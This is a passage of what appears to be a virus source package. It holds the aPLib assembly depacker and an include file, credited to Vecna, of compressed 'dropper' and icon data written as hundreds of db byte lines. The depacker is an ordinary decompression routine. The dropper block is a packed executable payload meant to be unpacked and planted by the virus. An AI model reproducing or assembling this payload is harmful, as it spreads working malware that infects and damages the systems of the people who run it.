db 012h, 0A8h, 07Dh, 0D2h, 023h, 0DBh, 000h, 0EEh
|
|
db 060h, 000h
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UPDATER.INC]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNPACK.INC]ÄÄÄ
|
|
;***************************************************************
|
|
;* aPLib v0.22b - the smaller the better :) *
|
|
;* WASM & TASM assembler depacker *
|
|
;* *
|
|
;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved *
|
|
;***************************************************************
|
|
|
|
_aP_depack_asm:
|
|
push ebp
|
|
mov ebp, esp
|
|
pushad
|
|
push ebp
|
|
|
|
mov esi, [ebp + 8] ; C calling convention
|
|
mov edi, [ebp + 12]
|
|
|
|
cld
|
|
mov dl, 80h
|
|
|
|
literal:
|
|
movsb
|
|
nexttag:
|
|
call getbit
|
|
jnc literal
|
|
|
|
xor ecx, ecx
|
|
call getbit
|
|
jnc codepair
|
|
xor eax, eax
|
|
call getbit
|
|
jnc shortmatch
|
|
mov al, 10h
|
|
getmorebits:
|
|
call getbit
|
|
adc al, al
|
|
jnc getmorebits
|
|
jnz domatch_with_inc
|
|
stosb
|
|
jmp short nexttag
|
|
codepair:
|
|
call getgamma_no_ecx
|
|
dec ecx
|
|
loop normalcodepair
|
|
mov eax,ebp
|
|
call getgamma
|
|
jmp short domatch
|
|
|
|
shortmatch:
|
|
lodsb
|
|
shr eax, 1
|
|
jz donedepacking
|
|
adc ecx, 2
|
|
mov ebp, eax
|
|
jmp short domatch
|
|
|
|
normalcodepair:
|
|
xchg eax, ecx
|
|
dec eax
|
|
shl eax, 8
|
|
lodsb
|
|
mov ebp, eax
|
|
call getgamma
|
|
cmp eax, 32000
|
|
jae domatch_with_2inc
|
|
cmp eax, 1280
|
|
jae domatch_with_inc
|
|
cmp eax, 7fh
|
|
ja domatch
|
|
|
|
domatch_with_2inc:
|
|
inc ecx
|
|
|
|
domatch_with_inc:
|
|
inc ecx
|
|
domatch:
|
|
push esi
|
|
mov esi, edi
|
|
sub esi, eax
|
|
rep movsb
|
|
pop esi
|
|
jmp short nexttag
|
|
|
|
getbit:
|
|
add dl, dl
|
|
jnz stillbitsleft
|
|
mov dl, [esi]
|
|
inc esi
|
|
adc dl, dl
|
|
stillbitsleft:
|
|
ret
|
|
|
|
getgamma:
|
|
xor ecx, ecx
|
|
getgamma_no_ecx:
|
|
inc ecx
|
|
getgammaloop:
|
|
call getbit
|
|
adc ecx, ecx
|
|
call getbit
|
|
jc getgammaloop
|
|
ret
|
|
|
|
donedepacking:
|
|
pop ebp
|
|
sub edi, [ebp + 12]
|
|
mov [ebp - 4], edi ; return unpacked length in eax
|
|
|
|
popad
|
|
pop ebp
|
|
ret 4*2
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNPACK.INC]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DROPPER.INC]ÄÄÄ
|
|
;Compressed Dropper&Icon data
|
|
;(C) Vecna
|
|
|
|
dropper equ 0
|
|
coelho equ dropper+6144
|
|
hallwen equ coelho+1152
|
|
jesus equ hallwen+1152
|
|
ovo equ jesus+1152
|
|
santa equ ovo+1152
|
|
babylonia equ santa+1152
|
|
|
|
icon equ 12c8h
|
|
|
|
db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h
|
|
db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h
|
|
db 001h, 040h, 0C2h, 015h, 0C6h, 0C0h, 009h, 00Eh
|
|
db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0FAh, 0C6h
|
|
db 050h, 045h, 008h, 028h, 04Ch, 001h, 0BEh, 00Ah
|
|
db 0B0h, 0A2h, 00Ch, 038h, 014h, 0C7h, 0E0h, 001h
|
|
db 00Fh, 001h, 00Bh, 0C8h, 005h, 00Ch, 0E0h, 002h
|
|
db 0CAh, 01Bh, 012h, 015h, 065h, 010h, 032h, 004h
|
|
db 020h, 0BAh, 0DEh, 08Ch, 00Ch, 041h, 004h, 0A6h
|
|
db 01Fh, 0F1h, 05Dh, 051h, 04Ah, 00Dh, 02Bh, 002h
|
|
db 039h, 039h, 0D3h, 008h, 09Ah, 00Fh, 09Eh, 080h
|
|
db 065h, 05Ch, 0A1h, 050h, 031h, 053h, 060h, 009h
|
|
db 04Bh, 0D9h, 0BDh, 095h, 0B1h, 05Ch, 01Fh, 0ACh
|
|
db 02Eh, 01Ch, 074h, 065h, 078h, 0E2h, 038h, 0D6h
|
|
db 001h, 052h, 0CCh, 0D4h, 0C5h, 057h, 043h, 0C0h
|
|
db 060h, 02Eh, 072h, 064h, 061h, 072h, 074h, 080h
|
|
db 06Ah, 002h, 0AEh, 0FCh, 0A1h, 024h, 006h, 05Ah
|
|
db 028h, 055h, 0BBh, 0CDh, 02Eh, 049h, 027h, 0C1h
|
|
db 0A1h, 032h, 00Dh, 029h, 030h, 028h, 090h, 00Ah
|
|
db 0ACh, 0C0h, 0CEh, 0A0h, 073h, 04Eh, 063h, 015h
|
|
db 0ECh, 0CAh, 040h, 024h, 065h, 00Eh, 02Ah, 028h
|
|
db 070h, 0ADh, 001h, 0D7h, 061h, 0FCh, 0E8h, 0A0h
|
|
db 034h, 042h, 066h, 000h, 0BBh, 0C6h, 0CAh, 00Fh
|
|
db 0BAh, 0E0h, 01Fh, 073h, 060h, 004h, 014h, 0B1h
|
|
db 0ABh, 064h, 067h, 026h, 08Bh, 00Eh, 02Bh, 001h
|
|
db 0E3h, 002h, 0FFh, 0E1h, 0BEh, 031h, 00Bh, 020h
|
|
db 0CDh, 0B9h, 044h, 059h, 0F6h, 000h, 016h, 0ACh
|
|
db 0E2h, 0FBh, 0F7h, 0D3h, 066h, 089h, 031h, 01Dh
|
|
db 024h, 027h, 068h, 059h, 043h, 005h, 004h, 01Ah
|
|
db 075h, 0E8h, 04Fh, 00Ah, 093h, 00Ah, 0F9h, 05Dh
|
|
db 031h, 0BFh, 028h, 0ABh, 04Ch, 00Ah, 091h, 054h
|
|
db 07Fh, 070h, 095h, 0A7h, 01Eh, 090h, 03Ah, 0B2h
|
|
db 036h, 011h, 077h, 009h, 047h, 04Bh, 0F4h, 027h
|
|
db 027h, 0BCh, 01Fh, 06Ah, 076h, 010h, 0A3h, 074h
|
|
db 0DBh, 00Dh, 07Ch, 00Bh, 0C8h, 026h, 0CDh, 0BEh
|
|
db 028h, 0F4h, 01Dh, 075h, 00Bh, 087h, 011h, 01Ch
|
|
db 088h, 0B0h, 0B2h, 00Fh, 0B5h, 031h, 09Ch, 00Dh
|
|
db 091h, 013h, 09Fh, 0D5h, 00Dh, 023h, 0ECh, 0BCh
|
|
db 0ABh, 0D7h, 016h, 0BDh, 0B0h, 0D2h, 017h, 055h
|
|
db 08Bh, 0ECh, 003h, 083h, 0C4h, 0FCh, 068h, 061h
|
|
db 032h, 022h, 09Fh, 053h, 030h, 0E8h, 07Bh, 02Bh
|
|
db 089h, 045h, 0FCh, 0FEh, 074h, 011h, 023h, 068h
|
|
db 08Dh, 01Ah, 0E8h, 07Dh, 0F5h, 0A2h, 01Fh, 0FFh
|
|
db 075h, 041h, 024h, 064h, 08Fh, 01Bh, 085h, 0C0h
|
|
db 02Ah, 0E5h, 00Ch, 011h, 04Ch, 014h, 0C9h, 0C3h
|
|
db 04Bh, 0CAh, 07Bh, 06Ch, 071h, 014h, 04Eh, 00Dh
|
|
db 022h, 001h, 006h, 0CCh, 0FFh, 025h, 054h, 020h
|
|
db 085h, 0ECh, 050h, 0A9h, 006h, 04Ch, 00Ch, 048h
|
|
db 086h, 043h, 044h, 021h, 018h, 090h, 01Ch, 0DEh
|
|
db 0E1h, 090h, 024h, 0C8h, 028h, 064h, 014h, 032h
|
|
db 02Ch, 019h, 030h, 00Ch, 034h, 086h, 043h, 038h
|
|
db 021h, 03Ch, 090h, 00Ch, 0C8h, 008h, 064h, 004h
|
|
db 037h, 008h, 0A9h, 001h, 0D4h, 032h, 054h, 022h
|
|
db 008h, 046h, 024h, 036h, 048h, 02Ah, 0A8h, 001h
|
|
db 04Ah, 0AAh, 00Ch, 0D2h, 056h, 009h, 064h, 089h
|
|
db 070h, 012h, 082h, 024h, 092h, 048h, 0C0h, 091h
|
|
db 0D6h, 022h, 0E4h, 044h, 0FCh, 014h, 0A6h, 030h
|
|
db 044h, 03Eh, 030h, 089h, 028h, 012h, 01Ch, 024h
|
|
db 008h, 0B6h, 012h, 010h, 0F0h, 020h, 0E3h, 04Ah
|
|
db 032h, 029h, 044h, 021h, 0C0h, 096h, 014h, 066h
|
|
db 01Ch, 081h, 014h, 021h, 052h, 0ACh, 014h, 0C8h
|
|
db 060h, 0A8h, 0C2h, 0AFh, 0ACh, 05Ch, 050h, 0A0h
|
|
db 09Eh, 072h, 003h, 061h, 077h, 041h, 06Eh, 069h
|
|
db 06Dh, 0B0h, 074h, 065h, 064h, 073h, 052h, 076h
|
|
db 063h, 070h, 073h, 054h, 0A8h, 014h, 049h, 0F6h
|
|
db 06Fh, 067h, 06Eh, 040h, 0FBh, 001h, 047h, 065h
|
|
db 074h, 0FDh, 043h, 0C0h, 0BBh, 001h, 078h, 04Dh
|
|
db 071h, 073h, 03Eh, 061h, 067h, 084h, 042h, 06Fh
|
|
db 078h, 041h, 087h, 06Eh, 0ECh, 054h, 06Ch, 0F7h
|
|
db 0F9h, 073h, 0FBh, 00Fh, 035h, 055h, 053h, 045h
|
|
db 0A0h, 033h, 032h, 02Eh, 064h, 06Ch, 0E3h, 09Ch
|
|
db 05Ch, 075h, 03Eh, 000h, 078h, 069h, 074h, 050h
|
|
db 072h, 06Fh, 063h, 0DCh, 05Bh, 014h, 088h, 0B6h
|
|
db 07Dh, 00Fh, 06Eh, 064h, 043h, 06Ch, 0DBh, 050h
|
|
db 082h, 08Ch, 0ACh, 00Ch, 008h, 072h, 0F8h, 074h
|
|
db 0DBh, 00Ah, 076h, 070h, 086h, 054h, 091h, 012h
|
|
db 04Eh, 0F6h, 078h, 0A6h, 011h, 050h, 0E1h, 06Ah
|
|
db 043h, 038h, 075h, 072h, 0FCh, 06Dh, 06Eh, 0E2h
|
|
db 050h, 053h, 08Ah, 06Fh, 0E3h, 079h, 035h, 051h
|
|
db 0F9h, 031h, 027h, 023h, 06Eh, 0EEh, 072h, 0E5h
|
|
db 062h, 075h, 00Ch, 0A7h, 073h, 02Dh, 044h, 044h
|
|
db 001h, 053h, 06Fh, 079h, 09Ch, 0CAh, 06Dh, 02Dh
|
|
db 059h, 05Fh, 043h, 016h, 056h, 0F6h, 0CAh, 052h
|
|
db 069h, 0BCh, 028h, 064h, 00Eh, 06Fh, 057h, 0CBh
|
|
db 0A5h, 077h, 073h, 038h, 052h, 03Eh, 029h, 002h
|
|
db 053h, 06Ah, 079h, 073h, 0B7h, 030h, 0CCh, 0E7h
|
|
db 070h, 005h, 04Bh, 00Eh, 0D1h, 04Eh, 06Ah, 04Ch
|
|
db 0D4h, 051h, 018h, 040h, 046h, 050h, 069h, 078h
|
|
db 0EBh, 09Fh, 019h, 053h, 03Ch, 0F6h, 01Bh, 061h
|
|
db 079h, 04Dh, 020h, 0ADh, 024h, 091h, 096h, 082h
|
|
db 020h, 078h, 06Fh, 03Dh, 079h, 042h, 03Fh, 07Ah
|
|
db 06Ch, 0E8h, 01Ch, 099h, 0FCh, 053h, 0AEh, 02Ah
|
|
db 015h, 047h, 044h, 049h, 041h, 095h, 001h, 0AEh
|
|
db 0BCh, 0B3h, 001h, 090h, 09Eh, 09Bh, 09Ah, 08Dh
|
|
db 0DFh, 0BAh, 0CFh, 0A7h, 09Eh, 0C1h, 0FFh, 0BEh
|
|
db 0AFh, 0B6h, 0E9h, 091h, 0E1h, 08Bh, 0F9h, 099h
|
|
db 0F1h, 08Ah, 0DCh, 09Bh, 0DEh, 0FEh, 0A8h, 06Fh
|
|
db 096h, 00Ch, 0C7h, 088h, 08Ch, 0FDh, 04Ch, 0CCh
|
|
db 08Dh, 09Ah, 03Fh, 08Eh, 08Ah, 06Ch, 00Ah, 02Ah
|
|
db 0F2h, 01Eh, 0F5h, 0ABh, 097h, 073h, 026h, 08Fh
|
|
db 03Fh, 05Eh, 098h, 09Eh, 09Eh, 092h, 01Fh, 088h
|
|
db 01Ch, 093h, 07Eh, 09Eh, 09Dh, 09Ah, 01Bh, 08Bh
|
|
db 088h, 0EEh, 05Ch, 060h, 09Eh, 00Eh, 09Bh, 0D1h
|
|
db 0FFh, 0D5h, 0E6h, 0BAh, 072h, 0A7h, 0EDh, 0C2h
|
|
db 0BDh, 001h, 0F5h, 0C7h, 002h, 004h, 003h, 0E3h
|
|
db 07Fh, 011h, 080h, 00Eh, 035h, 038h, 011h, 068h
|
|
db 020h, 001h, 0E1h, 0CAh, 025h, 050h, 02Bh, 018h
|
|
db 05Ah, 04Ah, 0A4h, 068h, 018h, 056h, 02Bh, 009h
|
|
db 004h, 015h, 0EAh, 018h, 0E4h, 090h, 044h, 0A0h
|
|
db 040h, 005h, 0A8h, 008h, 028h, 01Ah, 048h, 065h
|
|
db 049h, 008h, 014h, 02Ch, 02Ah, 028h, 09Eh, 00Fh
|
|
db 0C5h, 040h, 054h, 036h, 029h, 085h, 080h, 004h
|
|
db 03Dh, 04Bh, 04Bh, 001h, 029h, 080h, 06Dh, 03Bh
|
|
db 0F8h, 0A4h, 007h, 0A3h, 002h, 036h, 013h, 0C0h
|
|
db 002h, 008h, 040h, 0DCh, 0F0h, 02Dh, 0CAh, 0A6h
|
|
db 00Eh, 093h, 03Ch, 019h, 099h, 009h, 066h, 012h
|
|
db 033h, 02Fh, 0E8h, 0CCh, 039h, 0C4h, 099h, 089h
|
|
db 066h, 012h, 033h, 02Eh, 011h, 07Eh, 06Eh, 099h
|
|
db 031h, 091h, 078h, 08Bh, 0E4h, 05Fh, 022h, 0FBh
|
|
db 017h, 0D8h, 0BAh, 045h, 0E2h, 02Fh, 091h, 07Ch
|
|
db 08Bh, 0E4h, 05Eh, 062h, 0FBh, 017h, 088h, 0BEh
|
|
db 045h, 0F2h, 02Ah, 014h, 038h, 045h, 0C2h, 02Eh
|
|
db 011h, 06Ch, 009h, 0E6h, 0CCh, 0DDh, 0BFh, 036h
|
|
db 097h, 008h, 047h, 066h, 022h, 033h, 0E1h, 016h
|
|
db 006h, 0DFh, 039h, 0E2h, 0FFh, 016h, 009h, 045h
|
|
db 033h, 0C2h, 02Ah, 08Ch, 03Eh, 0C5h, 0F6h, 02Fh
|
|
db 0B1h, 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h
|
|
db 0C8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh
|
|
db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h
|
|
db 049h, 08Ah, 0F2h, 0A6h, 002h, 099h, 009h, 044h
|
|
db 066h, 033h, 08Bh, 084h, 054h, 094h, 022h, 099h
|
|
db 0E9h, 017h, 088h, 0B2h, 008h, 033h, 02Eh, 011h
|
|
db 051h, 090h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h
|
|
db 05Fh, 022h, 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h
|
|
db 02Fh, 0B1h, 07Dh, 08Bh, 0F4h, 05Fh, 062h, 0FBh
|
|
db 017h, 0D8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch
|
|
db 08Bh, 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0B5h
|
|
db 031h, 037h, 08Ah, 0CAh, 002h, 099h, 066h, 009h
|
|
db 033h, 017h, 008h, 0A8h, 090h, 0FDh, 017h, 048h
|
|
db 0BCh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0F4h
|
|
db 05Fh, 022h, 0F9h, 017h, 0C8h, 0BEh, 045h, 0F2h
|
|
db 02Fh, 0D1h, 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0F9h
|
|
db 017h, 0C8h, 0BFh, 045h, 0F2h, 02Fh, 091h, 07Dh
|
|
db 08Bh, 0ECh, 05Fh, 062h, 0FDh, 017h, 0D8h, 0BEh
|
|
db 0C5h, 0F2h, 02Fh, 091h, 07Ch, 091h, 0A6h, 094h
|
|
db 0CCh, 08Ah, 0DFh, 02Ah, 002h, 06Eh, 033h, 009h
|
|
db 011h, 051h, 090h, 0EAh, 02Fh, 0D1h, 078h, 08Bh
|
|
db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h
|
|
db 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 022h
|
|
db 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h
|
|
db 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h, 0C8h
|
|
db 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh, 0ECh
|
|
db 05Fh, 062h, 0FBh, 033h, 032h, 024h, 0CCh, 016h
|
|
db 06Fh, 0B4h, 08Eh, 0D4h, 002h, 070h, 0A2h, 014h
|
|
db 06Ch, 08Bh, 0E1h, 014h, 0C9h, 063h, 0A6h, 050h
|
|
db 027h, 0CEh, 011h, 069h, 028h, 033h, 0EBh, 084h
|
|
db 05Ah, 030h, 04Ch, 0AFh, 0E1h, 016h, 030h, 093h
|
|
db 073h, 038h, 045h, 0A4h, 030h, 037h, 0CEh, 011h
|
|
db 06Ah, 030h, 0E3h, 0CAh, 0FFh, 04Dh, 030h, 059h
|
|
db 0BFh, 0C2h, 02Dh, 026h, 059h, 083h, 0C2h, 02Dh
|
|
db 028h, 049h, 037h, 0C2h, 02Ah, 082h, 06Ch, 002h
|
|
db 0DDh, 0C8h, 009h, 0BBh, 091h, 0AAh, 022h, 088h
|
|
db 044h, 077h, 055h, 089h, 044h, 012h, 022h, 095h
|
|
db 01Fh, 04Dh, 002h, 0B6h, 01Eh, 002h, 02Eh, 0D5h
|
|
db 002h, 004h, 036h, 044h, 002h, 02Eh, 0DCh, 002h
|
|
db 010h, 011h, 057h, 02Bh, 096h, 00Ah, 0B4h, 0FBh
|
|
db 0E1h, 00Eh, 0A4h, 0A0h, 03Ch, 016h, 080h, 027h
|
|
db 0C9h, 00Fh, 095h, 003h, 049h, 091h, 052h, 007h
|
|
db 058h, 050h, 0D4h, 00Fh, 04Fh, 02Eh, 06Eh, 0C0h
|
|
db 0EAh, 0D6h, 0E9h, 0E8h, 0ADh, 0C0h, 002h, 0A7h
|
|
db 082h, 057h, 007h, 07Ch, 07Bh, 0ECh, 0FDh, 0B3h
|
|
db 020h, 002h, 0F5h, 087h, 028h, 09Dh, 0D9h, 0F0h
|
|
db 03Dh, 0D6h, 0ADh, 0E8h, 0E5h, 016h, 03Eh, 0C7h
|
|
db 006h, 0E9h, 0F0h, 0DCh, 036h, 0F1h, 0E9h, 0D7h
|
|
db 079h, 006h, 01Ch, 0F4h, 0F5h, 0DAh, 05Ch, 0D4h
|
|
db 069h, 020h, 029h, 001h, 09Eh, 0E9h, 0B3h, 077h
|
|
db 0F1h, 08Eh, 00Ah, 0E9h, 0BEh, 088h, 06Eh, 03Ch
|
|
db 047h, 0D5h, 0F3h, 01Dh, 041h, 0FEh, 0ACh, 03Eh
|
|
db 00Ah, 082h, 0E3h, 0BDh, 082h, 0B6h, 0CFh, 04Ah
|
|
db 006h, 0F9h, 0B7h, 064h, 0E4h, 04Dh, 082h, 049h
|
|
db 040h, 0F7h, 065h, 0F1h, 036h, 0EFh, 019h, 083h
|
|
db 04Ah, 0F0h, 0BBh, 00Eh, 06Dh, 0F9h, 084h, 0BFh
|
|
db 086h, 099h, 0AEh, 0F3h, 082h, 0F4h, 0D2h, 0B3h
|
|
db 020h, 076h, 002h, 0F1h, 049h, 0A9h, 04Bh, 0B2h
|
|
db 050h, 08Ah, 0E6h, 0CAh, 03Eh, 0D4h, 020h, 04Ch
|
|
db 03Dh, 07Ch, 072h, 05Dh, 0CEh, 00Bh, 051h, 02Ch
|
|
db 057h, 00Eh, 0A7h, 0E9h, 0FDh, 0E9h, 08Ch, 0D4h
|
|
db 0CFh, 0B3h, 0E4h, 0F3h, 051h, 0D5h, 020h, 0F6h
|
|
db 0A0h, 040h, 07Ch, 057h, 051h, 007h, 0A3h, 0DEh
|
|
db 098h, 0F6h, 032h, 02Bh, 07Ah, 05Dh, 0E7h, 0B1h
|
|
db 021h, 044h, 0E9h, 0AEh, 094h, 03Eh, 0F4h, 020h
|
|
db 06Dh, 01Ah, 026h, 0C7h, 072h, 039h, 06Eh, 02Bh
|
|
db 03Ah, 072h, 01Dh, 032h, 05Fh, 0A7h, 0F9h, 055h
|
|
db 084h, 057h, 0EEh, 02Dh, 042h, 0C2h, 0ADh, 020h
|
|
db 0ACh, 0CBh, 028h, 047h, 007h, 01Eh, 071h, 0EBh
|
|
db 0CDh, 07Ch, 0CFh, 03Eh, 047h, 0AEh, 069h, 025h
|
|
db 011h, 0DAh, 00Fh, 060h, 0E8h, 054h, 041h, 036h
|
|
db 0F7h, 004h, 04Ah, 0DEh, 0BEh, 075h, 020h, 00Eh
|
|
db 0A9h, 0F1h, 034h, 020h, 06Fh, 04Eh, 046h, 0B2h
|
|
db 0DAh, 081h, 0EDh, 0AAh, 0F9h, 001h, 0A3h, 0A3h
|
|
db 096h, 0B4h, 048h, 0CFh, 011h, 092h, 04Ah, 063h
|
|
db 0ADh, 0A6h, 031h, 080h, 0A6h, 0F5h, 056h, 020h
|
|
db 07Ch, 050h, 007h, 0B9h, 032h, 0DDh, 006h, 0F6h
|
|
db 055h, 090h, 091h, 02Fh, 036h, 044h, 014h, 0ABh
|
|
db 0A3h, 0FDh, 05Bh, 020h, 070h, 073h, 0BBh, 0A2h
|
|
db 09Dh, 08Dh, 0C0h, 0A8h, 0E8h, 0EBh, 0F6h, 0F9h
|
|
db 043h, 0CFh, 051h, 0FEh, 012h, 0A1h, 00Eh, 058h
|
|
db 053h, 060h, 07Ch, 054h, 07Ch, 0BBh, 0F6h, 0E3h
|
|
db 047h, 09Fh, 06Dh, 0C4h, 0EEh, 08Dh, 0C4h, 046h
|
|
db 0CBh, 050h, 038h, 0EFh, 0F7h, 0A9h, 091h, 0CEh
|
|
db 046h, 020h, 0BCh, 037h, 032h, 0EBh, 02Bh, 01Dh
|
|
db 031h, 0EAh, 0A6h, 0CCh, 0F7h, 00Eh, 0FDh, 0A9h
|
|
db 088h, 0CEh, 033h, 0E2h, 081h, 06Ah, 041h, 024h
|
|
db 033h, 036h, 07Fh, 009h, 0D5h, 034h, 08Ah, 062h
|
|
db 032h, 032h, 05Dh, 0ADh, 0F0h, 0C4h, 0BEh, 0EEh
|
|
db 0EFh, 041h, 099h, 033h, 0FFh, 056h, 002h, 006h
|
|
db 06Ah, 0EBh, 004h, 001h, 03Fh, 048h, 067h, 08Eh
|
|
db 0ECh, 05Ch, 0F5h, 04Ah, 04Ah, 0A1h, 0F7h, 05Bh
|
|
db 09Dh, 02Bh, 0EAh, 0C5h, 092h, 043h, 0CCh, 017h
|
|
db 0FFh, 054h, 05Dh, 092h, 01Eh, 06Ah, 0E9h, 002h
|
|
db 0AAh, 024h, 0B1h, 0B3h, 0BEh, 0FFh, 051h, 0A4h
|
|
db 0AEh, 0B6h, 05Ch, 0F9h, 00Eh, 0DBh, 043h, 08Ah
|
|
db 026h, 080h, 0ADh, 065h, 063h, 0F1h, 0E7h, 085h
|
|
db 049h, 040h, 051h, 004h, 018h, 0E8h, 095h, 054h
|
|
db 01Bh, 0FAh, 0A4h, 0F6h, 0BDh, 0DBh, 002h, 070h
|
|
db 032h, 058h, 02Bh, 07Bh, 0D6h, 08Ah, 020h, 09Eh
|
|
db 036h, 09Ch, 03Ch, 09Ah, 01Ah, 091h, 0EBh, 028h
|
|
db 0B4h, 0DBh, 082h, 0A0h, 06Ch, 070h, 088h, 0AFh
|
|
db 0EAh, 0DCh, 0BFh, 037h, 0E8h, 026h, 0A7h, 078h
|
|
db 0EDh, 0BFh, 0ECh, 0E6h, 0E6h, 0E8h, 043h, 0DFh
|
|
db 081h, 066h, 04Ch, 0B8h, 07Dh, 0D3h, 025h, 027h
|
|
db 031h, 0BDh, 0B6h, 0C3h, 0CFh, 0C9h, 00Dh, 08Dh
|
|
db 060h, 0D5h, 0EFh, 0BFh, 0E9h, 055h, 0FBh, 0CBh
|
|
db 076h, 012h, 0A9h, 08Ah, 082h, 033h, 04Bh, 031h
|
|
db 0E9h, 0B3h, 0ECh, 0FFh, 0F3h, 074h, 01Eh, 04Dh
|
|
db 007h, 0BEh, 04Dh, 087h, 07Bh, 091h, 07Bh, 03Dh
|
|
db 06Dh, 084h, 02Eh, 054h, 060h, 095h, 090h, 01Fh
|
|
db 087h, 0DBh, 057h, 0E2h, 0C5h, 036h, 0B3h, 01Eh
|
|
db 090h, 065h, 092h, 07Bh, 0DAh, 037h, 0EAh, 063h
|
|
db 0E8h, 024h, 041h, 0ADh, 009h, 039h, 0EEh, 087h
|
|
db 0F6h, 036h, 019h, 0F3h, 099h, 04Eh, 0BAh, 0CCh
|
|
db 0E4h, 072h, 0FEh, 0F0h, 0FDh, 044h, 040h, 0D3h
|
|
db 01Fh, 0ECh, 0F3h, 0B3h, 033h, 0CCh, 0D6h, 025h
|
|
db 0ADh, 069h, 0BDh, 0D4h, 00Eh, 08Fh, 04Dh, 057h
|
|
db 050h, 031h, 0A1h, 0A8h, 01Ah, 040h, 0D9h, 0DAh
|
|
db 0A6h, 0E7h, 035h, 013h, 065h, 05Ah, 0FEh, 044h
|
|
db 003h, 0A1h, 0D0h, 0EBh, 0CAh, 0ADh, 0D3h, 002h
|
|
db 064h, 071h, 07Ch, 0FFh, 0B4h, 0C1h, 0D2h, 0DBh
|
|
db 0F9h, 049h, 09Ah, 06Ch, 003h, 08Eh, 0EFh, 0B0h
|
|
db 02Dh, 0CBh, 006h, 088h, 047h, 03Ch, 057h, 02Dh
|
|
db 027h, 01Ch, 020h, 019h, 0E6h, 0A6h, 09Eh, 0D2h
|
|
db 0BFh, 05Bh, 06Eh, 020h, 0B9h, 031h, 05Ch, 021h
|
|
db 093h, 0A9h, 008h, 020h, 0FEh, 053h, 0ECh, 001h
|
|
db 056h, 020h, 052h, 00Dh, 052h, 01Fh, 0CAh, 007h
|
|
db 001h, 0ABh, 020h, 0A9h, 00Eh, 02Bh, 022h, 028h
|
|
db 01Eh, 055h, 0F6h, 001h, 059h, 020h, 049h, 00Eh
|
|
db 0FDh, 0ECh, 059h, 03Eh, 0A5h, 019h, 08Ah, 004h
|
|
db 080h, 0D3h, 0FDh, 01Ah, 001h, 084h, 09Ah, 03Fh
|
|
db 08Fh, 01Eh, 0F2h, 0CBh, 027h, 053h, 00Dh, 06Ah
|
|
db 042h, 020h, 064h, 0F6h, 035h, 02Bh, 001h, 053h
|
|
db 020h, 0A7h, 0FFh, 0F1h, 0F7h, 018h, 0FCh, 0A7h
|
|
db 041h, 01Bh, 01Dh, 002h, 07Fh, 041h, 08Dh, 035h
|
|
db 083h, 066h, 021h, 03Dh, 0E6h, 016h, 0E3h, 049h
|
|
db 0DBh, 04Bh, 01Fh, 06Ah, 040h, 021h, 0EAh, 01Fh
|
|
db 0B9h, 06Ah, 082h, 022h, 044h, 0ECh, 09Ah, 040h
|
|
db 02Bh, 0F6h, 01Fh, 0A9h, 021h, 0A4h, 040h, 04Ah
|
|
db 021h, 05Ah, 091h, 020h, 016h, 019h, 023h, 01Dh
|
|
db 09Ah, 002h, 0B4h, 0C3h, 0A4h, 060h, 0ADh, 09Dh
|
|
db 0B8h, 048h, 003h, 0A7h, 008h, 0D3h, 085h, 07Dh
|
|
db 020h, 0C2h, 01Bh, 084h, 09Dh, 05Ah, 0A9h, 01Ch
|
|
db 040h, 053h, 053h, 027h, 004h, 09Fh, 0ABh, 080h
|
|
db 0EDh, 043h, 04Dh, 044h, 0A9h, 011h, 080h, 052h
|
|
db 045h, 064h, 06Ah, 0C0h, 0F2h, 094h, 0E1h, 09Bh
|
|
db 018h, 0BDh, 0D7h, 01Fh, 094h, 082h, 0DAh, 028h
|
|
db 065h, 067h, 035h, 018h, 079h, 01Fh, 04Dh, 020h
|
|
db 04Dh, 001h, 044h, 020h, 0CAh, 0C0h, 089h, 007h
|
|
db 01Ch, 071h, 0AFh, 020h, 0B7h, 0B1h, 035h, 0F6h
|
|
db 03Dh, 020h, 0FAh, 03Eh, 0D2h, 023h, 03Dh, 0D0h
|
|
db 049h, 0CDh, 0F2h, 0C7h, 004h, 0A9h, 05Dh, 035h
|
|
db 004h, 06Dh, 08Dh, 049h, 0AEh, 0E6h, 09Eh, 010h
|
|
db 0FDh, 05Fh, 0CDh, 06Bh, 0CDh, 036h, 060h, 0B1h
|
|
db 070h, 07Ah, 0C5h, 0D2h, 078h, 0FCh, 00Fh, 0C5h
|
|
